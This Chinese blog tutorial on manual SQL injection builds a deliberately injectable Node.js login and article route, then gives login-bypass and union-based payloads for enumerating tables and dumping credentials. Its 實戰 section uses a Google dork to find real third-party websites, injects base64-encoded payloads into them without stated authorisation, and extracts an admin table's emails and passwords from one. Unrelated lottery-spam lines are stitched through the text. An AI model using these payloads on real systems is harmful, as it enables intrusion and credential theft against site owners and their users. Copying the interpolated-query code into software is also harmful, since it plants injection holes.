官方彩票投注

手動SQL注入—原理分析與實踐

代碼倉庫

本文所用代碼的代碼庫地址:

了解SQL注入

定義

SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。

原理

造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
從本質上來說,SQL注入和XSS注入很相似,都是因為沒有做好對用戶的輸入控制而導致的錯誤。

環境準備

  • 安裝PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安裝Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 創建數據庫
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安裝NodeJs
wget -t http://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

經典注入:' or 1=1

準備工作

  • 編寫models/index.jsmodels/migrate.jsmodels/User.js創建如下圖所示的User表:
User表
account password
test0 1234560
test1 1234561
test2 1234562
  • 執行node models/migrate初始化數據庫
  • 編寫 first/index.js 定義簡單的服務器
  • 編寫 views/index.html 定義簡單的登錄頁面
  • 安裝所有依賴npm install

實踐

數據庫初始化完成后,我們來開心的模擬一次經典的登錄注入操作 :使用' or 1=1#繞過用戶名和密碼驗證直接登錄。

  • 啟動服務器 node first/index.js,訪問http://localhost:5000/看到如下網頁



  • 輸入 account : test0, password : 1234560,可以發現登錄成功

  • 輸入 account : test0, password : wrongPassword,可以發現登錄失敗

  • 輸入 account : ' or 1=1# , password : test,可以發現登錄成功!!!

我們來看看后臺代碼中對用戶輸入的用戶名和密碼進行驗證的的SQL語句:

`select * from Users where account ='${account}' and password='${password}'`

我們將account:' or 1=1#,password:test 的值帶入,這條語句變成了:

select * from users where account = '' or 1=1 #' and password='test'

可以看到:

  • SQL的Where子句就變成了永真,因為account='' or 1 = 1永遠成立。
  • #后面的語句全部變成了注釋(mysql可以用#號來注釋代碼),不會影響代碼正確運行,服務器不會返回500。

這個注入能夠成功的原因就在于——靈活使用'字符和#字符。

Union子句的妙用

準備工作

  • 編寫models/Article和models/migrate.js定義如下圖所示的Articles表:

    圖片名稱
  • 執行node models/migrate初始化數據庫
  • 編寫路由代碼:
router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "沒有這個文章",
        content :"<p>沒有這個文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函數會先接收GET參數傳來的id,使用SQL對id進行查詢,將查詢到的數據渲染到html返回給瀏覽器端。

實踐

  • 啟動服務器 node first/index.js,訪問http://localhost:3030/article?id=1,可以看到如下圖所示的界面:

    圖片名稱
  • 訪問 http://localhost:3030/article?id=3/*ABC*/,可以發現返回的頁面沒有變化,這說明后臺對輸入沒有過濾,這里是可以注入的。
  • 確認頁面可以注入后,訪問http://localhost:3030/article?id=3 and 1=2,可以發現頁面顯示沒有文章,因為1=2的判斷導致SQL的Where子句永遠為false,所以沒有文章返回。

    圖片名稱
  • 使用union子句得到當前文章所在表的列數,從1開始測,依次訪問以下網址
http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5  

前四步都顯示:


圖片名稱

這是因為union兩頭連接的表的字段數不一致,所以SQL語句執行結果是錯誤的。而訪問http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功,這是因為Articles表的列數就是5,訪問這樣的網址,后臺實際執行的SQL語句及其結果如下圖所示:

圖片名稱

  • 訪問http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,我們發現頁面展示的還是id=3的文章,查看路由處理的代碼:

    圖片名稱

    可以發現,默認返回的是第一條數據,所以我們加一個order by id DESC就可以看到別的數據了:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC  

訪問上述網址,后臺執行的SQL語句及其結果如下圖所示


圖片名稱

所以頁面的返回結果是:


圖片名稱

官方彩票投注我們可以看到我們傳給后端的2,3分別在這里被展示在了頁面上。

  • 首先,我們要知道數據庫的版本和數據表的名稱,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC  

我們就可以看到數據庫的版本和數據表的名稱:


圖片名稱

官方彩票投注 這里記下virustest這個數據庫的名稱。

  • 知道了數據庫的名稱后,嘗試得到我們所需要的表的名稱,將訪問的網址改成:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC  

其中的order by rand()可以幫助我們隨機地看到數據庫中有哪些表,我們多訪問幾次,就可以看到有一個Users表:


圖片名稱

官方彩票投注 這個Users表就非常有用,我們來繼續注入,嘗試著拿到用戶名和密碼。

  • 知道了數據表的名稱后,就可以嘗試著得到表中列的名稱,將訪問網址改成:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

由于有order by rand(),多訪問幾次,我們就可以陸續看到所有的列名,有兩個字段我們比較感興趣:


圖片名稱


圖片名稱

記住“account”字段和“password”字段

  • 知道了數據表的列名后,就可以開始拖庫了,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

訪問結果如下圖所示:


圖片名稱

不斷訪問這個網址,就可以陸續看到數據庫中的所有用戶名和密碼。

實戰

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,這里inurl指的是在url內有后面字符串的網站,后面的id=MTM=是指base64加密后的id=13,表明網站對URL進行了base64處理。Google查詢出來結果如下:



官方彩票投注我自己經過刪選測試,選取了兩個網站:

  • 一家印度餐廳主頁

官方彩票投注本次就對這兩個網站進行破解,先回顧一下我們上次自己研究的幾個破解步驟:

  • 測試能否被注入
  • 通過union測表段數目
  • 通過mysql函數得到數據庫的名稱
  • 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱
  • 獲取想要的數據

我們借助這個base64工具進行base64加解密

第一個網站的SQL注入

  • 測試是否能被注入,訪問,base64串的含義是id=13 and 1=2,返回的結果如下圖,表明是此網站可以注入的


  • 通過union測表的列數,我們從1到30挨個測,最后測試出來表的列數是15,訪問,base64串的含義是id=13 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,結果如下圖所示,可以看到有頁面有九個顯示位,顯示位很多,就不需要concat()函數將多條數據拼接到一起了


  • 通過mysql函數得到數據庫的名稱,訪問,base64串的含義是id=13 and 1=1 union select 1,database(),3,4,5,6,7,8,9,10,version(),12,13,14,15,我們可以看到如下圖的結果,表明數據庫的名稱是csearch,版本是4.0.25


  • 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱,訪問,base64串的含義是id=13 and 1=1 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15 from information_shcema,結果竟然是沒有權限!!!



    進行到這里,發現這個數據庫用戶沒有足夠的權限,我決定放棄,盲注猜表名和錯誤回顯法的耗時較長,同時這個網站應該主要是用來搜索,我嘗試了沒有找到users表和admins表就放棄了。

第二個網站的SQL注入

  • 測試能否被注入,訪問,base64串的含義是id=13 and 1=2,結果如下,可以發現頁面沒有顯示,證明是可以注入的



  • 通過union測表的列數,從1到30挨個測試,最后得知列數是7,訪問,結果如下圖所示,可以看到有三個顯示位



  • 通過mysql函數得到數據庫的名稱,訪問,base64串的含義是id=14 and 1=2 union select 1,database(),version(),4,5,6,7,訪問結果如下圖,得到數據庫的名稱是zaaffran_zaaffran,數據庫版本是5.5.2



  • 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱,訪問,base64串的含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables,可以看到五個數據表:



  • 由于這里只顯示了五張表,而且都是系統自帶的表,對我來說沒有什么用處,于是嘗試了使用order by table_type,訪問,base64串的含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by table_type




    可以發現網頁報錯,我判斷系統后面加入了limit 5這個子句,由于SQL語法不允許order by子句在limit子句前面,所以網站發生了錯誤。

  • 訪問,base64串含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by 1#,這次顯示結果如下,成功了!



  • 同時我們搜索到了adminusers表這個敏感的表,我決定對這個表進行查詢,訪問,base64含義是14 and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name='adminusers' order by 1#,可以看到如下圖所有的表段



  • 獲取想要的數據,訪問,base64串含義是14 and 1=2 union select 1,2,UserEmail,UserPassword,5,6,7 from adminusers#,可以看到adminusers表里面的所有數據



總結

我們進行了兩次對互聯網網站的SQL注入,第一次不是很成功,第三次好歹是拿到數據了,嘗試了一下擴大戰果,select user,password from mysql.user,失敗= - =,估計是沒有權限。select hex(load_file())的方法也是失敗,畢竟mysql版本是5.5,安全級別較高,想要load_file()還是很難的。

通過以上的實踐,我們可以總結出一些防范SQL注入的方法:

  • 限制權限,單獨搞一個數據庫和用戶暴露給外界,把查詢的范圍和權限限制死,你就算可以注入也然并卵,數據沒有用啊!
  • 直接過濾掉union或者select,不允許傳的參數里面帶有這個(360的做法)

在Restful API的時代,開發者在開發一個項目的時經常用到類似于id=?或者title=?這樣的GET參數查詢,后端通信可能會有很多這樣的漏洞,而這樣的漏洞造成的后果往往是災難性的。開發者尤其是后端開發者一定要注意哦!

posted @ 2019-12-20 17:15  BBMAN  閱讀(...)  評論(...)    收藏